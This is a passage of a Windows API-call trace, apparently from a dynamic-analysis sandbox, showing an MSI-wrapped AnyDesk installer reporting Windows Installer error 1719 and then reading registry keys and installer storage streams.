_Src=0x29f84c0, _Size=0x18 | out: _Dst=0x29f80b0) returned 0x29f80b0 [0209.582] lstrlenW (lpString="ProductLanguage") returned 15 [0209.582] SetLastError (dwErrCode=0x0) [0209.582] _vsnwprintf (in: _Buffer=0x10cdb20, _BufferCount=0xff, _Format="SELECT `Message` FROM `Error` WHERE `Error` = %i", _ArgList=0x10cd8c8 | out: _Buffer="SELECT `Message` FROM `Error` WHERE `Error` = 1709") returned 50 [0209.583] GlobalLock (hMem=0xf401e8) returned 0x3cc0f0 [0209.583] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1709") returned 50 [0209.583] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1709") returned 50 [0209.583] lstrcmpiW (lpString1="SELECT", lpString2="SELECT") returned 0 [0209.583] lstrcmpiW (lpString1="SELECT", lpString2="FROM") returned 1 [0209.583] lstrcmpiW (lpString1="FROM", lpString2="FROM") returned 0 [0209.583] lstrlenW (lpString="Error") returned 5 [0209.583] lstrlenW (lpString="SELECT `Message` FROM `Error` WHERE `Error` = 1709") returned 50 [0209.583] lstrlenW (lpString="Error") returned 5 [0209.583] GlobalUnlock (hMem=0xf401e8) returned 0 [0209.583] FormatMessageW (in: dwFlags=0x800, lpSource=0x74a20002, dwMessageId=0x54cd, dwLanguageId=0x409, lpBuffer=0x10cd920, nSize=0x100, Arguments=0x0 | out: lpBuffer="Product: [2] -- [3]\r\n") returned 0x15 [0209.584] lstrlenW (lpString="Product: [2] -- [3]") returned 19 [0209.584] SetLastError (dwErrCode=0x0) [0209.584] memcpy (in: _Dst=0x10cd720, _Src=0x37e2b0, _Size=0x8e | out: _Dst=0x10cd720) returned 0x10cd720 [0209.584] memcpy (in: _Dst=0x29f80c2, _Src=0x10cd720, _Size=0x8c | out: _Dst=0x29f80c2) returned 0x29f80c2 [0209.584] memcpy (in: _Dst=0x29f814e, _Src=0x2fa3c8, _Size=0x8 | out: _Dst=0x29f814e) returned 0x29f814e [0209.584] memcpy (in: _Dst=0x29f8156, _Src=0x2fa3d2, _Size=0x2 | out: _Dst=0x29f8156) returned 0x29f8156 [0209.584] SetLastError (dwErrCode=0x0) [0209.584] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0209.584] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0209.584] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", cchWideChar=-1, lpMultiByteStr=0x32b270, cbMultiByte=39, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="{AC4583F8-6694-473E-BB77-32CDFC9BA940}", lpUsedDefaultChar=0x0) returned 39 [0209.584] lstrlenW (lpString="{AC4583F8-6694-473E-BB77-32CDFC9BA940}") returned 38 [0209.584] GetCurrentThreadId () returned 0xf50 [0209.585] GetCurrentThreadId () returned 0xf50 [0209.585] GetLocalTime (in: lpSystemTime=0x10cda40 | out: lpSystemTime=0x10cda40*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x20, wMilliseconds=0x247)) [0209.585] _vsnwprintf (in: _Buffer=0x10cdcd0, _BufferCount=0x20, _Format="%s (%.2X%c%.2X) [%02u:%02u:%02u:%03u]: ", _ArgList=0x10cd9c8 | out: _Buffer="MSI (s) (30:50) [19:48:39:811]: \ೝ∁) returned 32 [0209.585] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10cd964, pwszLanguagesBuffer=0x10cd978, pcchLanguagesBuffer=0x10cd960 | out: pulNumLanguages=0x10cd964, pwszLanguagesBuffer=0x10cd978, pcchLanguagesBuffer=0x10cd960) returned 0 [0209.585] GetLastError () returned 0x7a [0209.585] GetThreadPreferredUILanguages (in: dwFlags=0x24, pulNumLanguages=0x10cd964, pwszLanguagesBuffer=0x377090, pcchLanguagesBuffer=0x10cd960 | out: pulNumLanguages=0x10cd964, pwszLanguagesBuffer=0x377090, pcchLanguagesBuffer=0x10cd960) returned 1 [0209.585] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74a20002, dwMessageId=0x2dc7, dwLanguageId=0x409, lpBuffer=0x10cdae0, nSize=0xe0, Arguments=0x10cda58 | out: lpBuffer="Product: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com -- Error 1719. The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact") returned 0x0 [0209.585] GetLastError () returned 0x7a [0209.586] FormatMessageW (in: dwFlags=0x2800, lpSource=0x74a20002, dwMessageId=0x2dc7, dwLanguageId=0x409, lpBuffer=0x37b0620, nSize=0x42c, Arguments=0x10cda58 | out: lpBuffer="Product: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com -- Error 1719. The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.\r\n") returned 0x108 [0209.586] memcpy (in: _Dst=0x37b05e0, _Src=0x10cdcd0, _Size=0x40 | out: _Dst=0x37b05e0) returned 0x37b05e0 [0209.586] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10cd810, TokenInformationLength=0x58, ReturnLength=0x10cd800 | out: TokenInformation=0x10cd810, ReturnLength=0x10cd800) returned 1 [0209.586] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x2fa710, pSourceSid=0x10cd820*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x2fa710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0209.586] RegisterEventSourceW (lpUNCServerName=0x0, lpSourceName="MsiInstaller") returned 0xf401e8 [0210.252] ReportEventW (hEventLog=0xf401e8, wType=0x1, wCategory=0x0, dwEventID=0x2dc7, lpUserSid=0x2fa710*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), wNumStrings=0x7, dwDataSize=0x26, lpStrings=0x10cd910*="Product: Anydesk - UNREGISTERED - Wrapped using MSI Wrapper from www.exemsi.com -- Error 1719. The Windows Installer Service could not be accessed. This can occur if the Windows Installer is not correctly installed. Contact your support personnel for assistance.", lpRawData=0x32b270) returned 1 [0210.255] DeregisterEventSource (hEventLog=0xf401e8) returned 1 [0210.258] WriteFile (in: hFile=0x1f8, lpBuffer=0x37b01ac*, nNumberOfBytesToWrite=0x14, lpNumberOfBytesWritten=0x10cde40, lpOverlapped=0x0 | out: lpBuffer=0x37b01ac*, lpNumberOfBytesWritten=0x10cde40*=0x14, lpOverlapped=0x0) returned 1 [0210.259] CloseHandle (hObject=0x1f8) returned 1 [0210.261] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.261] CloseHandle (hObject=0x368) returned 1 [0210.270] RegCloseKey (hKey=0x1ec) returned 0x0 [0210.270] RegCloseKey (hKey=0x348) returned 0x0 [0210.271] GlobalUnlock (hMem=0xf401f8) returned 0 [0210.271] GlobalUnlock (hMem=0xf40228) returned 0 [0210.271] GlobalUnlock (hMem=0xf40218) returned 0 [0210.272] GlobalUnlock (hMem=0xf40208) returned 0 [0210.272] SetThreadToken (Thread=0x0, Token=0x0) returned 1 [0210.272] DeleteFileW (lpFileName="C:\\Windows\\Installer\\MSI8868.tmp" (normalized: "c:\\windows\\installer\\msi8868.tmp")) returned 1 [0210.276] SetThreadToken (Thread=0x0, Token=0x16c) returned 1 [0210.276] lstrlenW (lpString="InstallFinalize") returned 15 [0210.276] SetLastError (dwErrCode=0xd) [0210.277] SetLastError (dwErrCode=0xd) [0210.277] lstrlenW (lpString="Time") returned 4 [0210.277] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x10d)) [0210.277] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:44") returned 9 [0210.278] GetLocalTime (in: lpSystemTime=0x10ce010 | out: lpSystemTime=0x10ce010*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x10d)) [0210.278] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce010, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:44") returned 9 [0210.278] GetLocalTime (in: lpSystemTime=0x10ce040 | out: lpSystemTime=0x10ce040*(wYear=0x7e6, wMonth=0x8, wDayOfWeek=0x5, wDay=0x5, wHour=0x13, wMinute=0x30, wSecond=0x21, wMilliseconds=0x10d)) [0210.279] GetTimeFormatW (in: Locale=0x400, dwFlags=0xc, lpTime=0x10ce040, lpFormat=0x0, lpTimeStr=0x7fef7b232f8, cchTime=32 | out: lpTimeStr="19:48:44") returned 9 [0210.279] memcpy (in: _Dst=0x10ce2a0, _Src=0x7fef7b232f8, _Size=0x12 | out: _Dst=0x10ce2a0) returned 0x10ce2a0 [0210.279] memcpy (in: _Dst=0x29f80ca, _Src=0x10ce2a0, _Size=0x10 | out: _Dst=0x29f80ca) returned 0x29f80ca [0210.279] memcpy (in: _Dst=0x29f80da, _Src=0x34b0e6, _Size=0x4 | out: _Dst=0x29f80da) returned 0x29f80da [0210.279] memcpy (in: _Dst=0x29f80de, _Src=0x34b0ec, _Size=0x2 | out: _Dst=0x29f80de) returned 0x29f80de [0210.279] SetLastError (dwErrCode=0x0) [0210.279] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0210.279] memcpy (in: _Dst=0x29f80de, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x29f80de) returned 0x29f80de [0210.279] memcpy (in: _Dst=0x29f80e4, _Src=0x34b0f0, _Size=0x1e | out: _Dst=0x29f80e4) returned 0x29f80e4 [0210.279] memcpy (in: _Dst=0x29f8102, _Src=0x34b110, _Size=0x2 | out: _Dst=0x29f8102) returned 0x29f8102 [0210.279] SetLastError (dwErrCode=0x0) [0210.279] memcpy (in: _Dst=0x10ce2a2, _Src=0x10ce0f8, _Size=0x2 | out: _Dst=0x10ce2a2) returned 0x10ce2a2 [0210.279] memcpy (in: _Dst=0x29f8102, _Src=0x10ce2a0, _Size=0x6 | out: _Dst=0x29f8102) returned 0x29f8102 [0210.279] memcpy (in: _Dst=0x29f8108, _Src=0x34b114, _Size=0x2 | out: _Dst=0x29f8108) returned 0x29f8108 [0210.279] GetCurrentThreadId () returned 0xf50 [0210.279] GetCurrentThreadId () returned 0xf50 [0210.279] SetEvent (hEvent=0x170) returned 1 [0210.279] MsgWaitForMultipleObjects (nCount=0x1, pHandles=0x7fef7b1d718*=0x174, fWaitAll=0, dwMilliseconds=0x7530, dwWakeMask=0x4ff) returned 0x0 [0210.291] lstrlenW (lpString="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress") returned 62 [0210.291] RegOpenKeyExW (in: hKey=0xffffffff80000002, lpSubKey="Software\\Microsoft\\Windows\\CurrentVersion\\Installer\\InProgress", ulOptions=0x0, samDesired=0x20119, phkResult=0x34ba48 | out: phkResult=0x34ba48*=0x348) returned 0x0 [0210.292] RegQueryValueExW (in: hKey=0x348, lpValueName=0x0, lpReserved=0x0, lpType=0x10ce800, lpData=0x10ce820, lpcbData=0x10ce7c0*=0x100 | out: lpType=0x10ce800*=0x1, lpData="C:\\Windows\\Installer\\1876f00.ipi", lpcbData=0x10ce7c0*=0x42) returned 0x0 [0210.292] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.292] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.292] GetFileAttributesW (lpFileName="C:\\Windows\\Installer\\1876f00.ipi" (normalized: "c:\\windows\\installer\\1876f00.ipi")) returned 0x20 [0210.293] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.293] StgOpenStorage (in: pwcsName="C:\\Windows\\Installer\\1876f00.ipi", pstgPriority=0x0, grfMode=0x20, snbExclude=0x0, reserved=0x0, ppstgOpen=0x10ce968 | out: ppstgOpen=0x10ce968*=0x2125110) returned 0x0 [0210.300] IUnknown:AddRef (This=0x2125110) returned 0x2 [0210.300] IStorage:Stat (in: This=0x2125110, pstatstg=0x10ce860, grfStatFlag=0x0 | out: pstatstg=0x10ce860) returned 0x0 [0210.300] lstrlenW (lpString="C:\\Windows\\Installer\\1876f00.ipi") returned 32 [0210.300] CoGetMalloc (in: dwMemContext=0x1, ppMalloc=0x10ce858 | out: ppMalloc=0x10ce858*=0x7fefd6b5380) returned 0x0 [0210.300] IMalloc:Free (This=0x7fefd6b5380, pv=0x372330) [0210.300] IUnknown:AddRef (This=0x7fefd6b5380) returned 0x1 [0210.301] GetDriveTypeW (lpRootPathName="C:\\") returned 0x3 [0210.301] IUnknown:Release (This=0x2125110) returned 0x1 [0210.301] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䇲䆸㲷䠧", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x0 | out: ppstm=0x0) returned 0x0 [0210.301] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.301] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x7b, pcbRead=0x372cbc*=0x4c) returned 0x0 [0210.302] memcpy (in: _Dst=0x32ff60, _Src=0x3728bc, _Size=0x4c | out: _Dst=0x32ff60) returned 0x32ff60 [0210.302] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.302] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䇲䆸㷷䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.303] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.303] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x41, pcbRead=0x372cbc*=0x8c) returned 0x0 [0210.303] memcpy (in: _Dst=0x37e410, _Src=0x3728bc, _Size=0x8c | out: _Dst=0x37e410) returned 0x37e410 [0210.303] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.303] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䒕䒪㾱䈶䠵", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.303] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.303] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x6b, pcbRead=0x372cbc*=0x12) returned 0x0 [0210.303] memcpy (in: _Dst=0x2af29e0, _Src=0x3728bc, _Size=0x12 | out: _Dst=0x2af29e0) returned 0x2af29e0 [0210.304] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.304] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䈜䈯䗦䒬䖱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.304] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.304] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x41, pcbRead=0x372cbc*=0x30) returned 0x0 [0210.304] memcpy (in: _Dst=0x372340, _Src=0x3728bc, _Size=0x30 | out: _Dst=0x372340) returned 0x372340 [0210.304] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.304] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䒏䇯䕨䠶", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.305] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.305] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x42, pcbRead=0x372cbc*=0xe6) returned 0x0 [0210.305] memcpy (in: _Dst=0x21c4af0, _Src=0x3728bc, _Size=0xe6 | out: _Dst=0x21c4af0) returned 0x21c4af0 [0210.305] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.305] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕙䓲䕨䌷䖨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.305] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.306] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x2124e20, cb=0x2aa, pcbRead=0x10ce950 | out: pv=0x2124e20*=0x42, pcbRead=0x10ce950*=0x2aa) returned 0x0 [0210.306] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.306] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌝䈰䗜䐤㵳䚲", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.306] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.306] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x31, pcbRead=0x372cbc*=0x14) returned 0x0 [0210.306] memcpy (in: _Dst=0x2af3060, _Src=0x3728bc, _Size=0x14 | out: _Dst=0x2af3060) returned 0x2af3060 [0210.306] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.306] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌝䈰䗜䐤㱳䊬䠫", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.307] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.307] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x33, pcbRead=0x372cbc*=0x10) returned 0x0 [0210.307] memcpy (in: _Dst=0x3c2040, _Src=0x3728bc, _Size=0x10 | out: _Dst=0x3c2040) returned 0x3c2040 [0210.307] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.307] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䄍䄷䄥䈶䄙䋷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.307] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.308] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x43, pcbRead=0x372cbc*=0x40) returned 0x0 [0210.308] memcpy (in: _Dst=0x380140, _Src=0x3728bc, _Size=0x40 | out: _Dst=0x380140) returned 0x380140 [0210.308] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.308] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌍䎶䕙䐲䗳", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.308] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.308] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.308] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䌍䎶䈜䌵䏤", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.309] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.309] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.309] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䜜䗶䐨䈛䗶䕲㼨䔨䈸䆱䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.309] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.309] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x32, pcbRead=0x372cbc*=0x4) returned 0x0 [0210.309] memcpy (in: _Dst=0x3c2100, _Src=0x3728bc, _Size=0x4 | out: _Dst=0x3c2100) returned 0x3c2100 [0210.309] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.310] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䉊䈷㻵䅨䒲䠷", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.310] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.310] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.310] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㷱䐤䠨", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.352] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.352] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x43, pcbRead=0x372cbc*=0xbc) returned 0x0 [0210.352] memcpy (in: _Dst=0x2bec9e0, _Src=0x3728bc, _Size=0xbc | out: _Dst=0x2bec9e0) returned 0x2bec9e0 [0210.352] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.352] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䒕䠺", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.353] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.353] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x34, pcbRead=0x372cbc*=0x12) returned 0x0 [0210.353] memcpy (in: _Dst=0x3c0700, _Src=0x3728bc, _Size=0x12 | out: _Dst=0x3c0700) returned 0x3c0700 [0210.353] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.354] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䕝䑤䄶䗦䒬㫱䊨䑬䌝䈰䌑䋪", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.354] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.354] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x33, pcbRead=0x372cbc*=0x10) returned 0x0 [0210.354] memcpy (in: _Dst=0x3c22e0, _Src=0x3728bc, _Size=0x10 | out: _Dst=0x3c22e0) returned 0x3c22e0 [0210.354] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.355] IStorage:RemoteOpenStream (in: This=0x2125110, pwcsName="䘖䗯㹬䆤䄮䈪䕝䑤䄶䗦䒬䠱", cbReserved1=0x0, reserved1=0x10, grfMode=0x0, reserved2=0x10ce880, ppstm=0x3d8ad0 | out: ppstm=0x3d8ad0*=0x7fefd69e520) returned 0x0 [0210.355] IStream:Stat (in: This=0x3d8ad0, pstatstg=0x10ce7e0, grfStatFlag=0x1 | out: pstatstg=0x10ce7e0) returned 0x0 [0210.355] ISequentialStream:RemoteRead (in: This=0x3d8ad0, pv=0x3728bc, cb=0x400, pcbRead=0x372cbc | out: pv=0x3728bc*=0x30, pcbRead=0x372cbc*=0x2) returned 0x0 [0210.355] memcpy (in: _Dst=0x3c20d0, _Src=0x3728bc, _Size=0x2 | out: _Dst=0x3c20d0) returned 0x3c20d0 [0210.355] IUnknown:Release (This=0x3d8ad0) returned 0x0 [0210.355] IUnknown:Release (This=0x2125110) returned 0x0 [0210.356] RegCloseKey (hKey=0x348) returned 0x0 [0210.357] SetLastError (dwErrCode=0x0) [0210.357] SetLastError (dwErrCode=0x0) [0210.357] GetSystemWindowsDirectoryW (in: lpBuffer=0x10ce690, uSize=0x104 | out: lpBuffer="C:\\Windows") returned 0xa [0210.357] lstrlenW (lpString="C:\\Windows") returned 10 [0210.357] lstrlenW (lpString="\\") returned 1 [0210.357] lstrlenW (lpString="Installer") returned 9 [0210.357] lstrlenW (lpString="\\") returned 1 [0210.357] GetCurrentThreadId () returned 0xf50 [0210.357] GetCurrentThreadId () returned 0xf50 [0210.358] GetTokenInformation (in: TokenHandle=0x16c, TokenInformationClass=0x1, TokenInformation=0x10ce580, TokenInformationLength=0x58, ReturnLength=0x10ce570 | out: TokenInformation=0x10ce580, ReturnLength=0x10ce570) returned 1 [0210.358] CopySid (in: nDestinationSidLength=0x48, pDestinationSid=0x10ce660, pSourceSid=0x10ce590*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)) | out: pDestinationSid=0x10ce660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f))) returned 1 [0210.358] ConvertSidToStringSidW (in: Sid=0x10ce660*(Revision=0x1, SubAuthorityCount=0x5, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x5), SubAuthority=([0]=0x15, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x2f)), StringSid=0x10ce640 | out: StringSid=0x10ce640*="S-1-5-21-4219442223-4223814209-3835049652-1000") returned 1 [0210.358] LocalFree (hMem=0x330420) returned 0x0 [0210.358] RegOpenKeyExW (in: hKey=0xffffffff80000003, lpSubKey="S-1-5-21-4219442223-4223814209-3835049652-1000\\Software\\Policies\\Microsoft\\Windows\\Installer", ulOptions=0x0, samDesired=0x20019, phkResult=0x10ce810 | out: phkResult=0x10ce810*=0x0) returned 0x2 [0210.358] 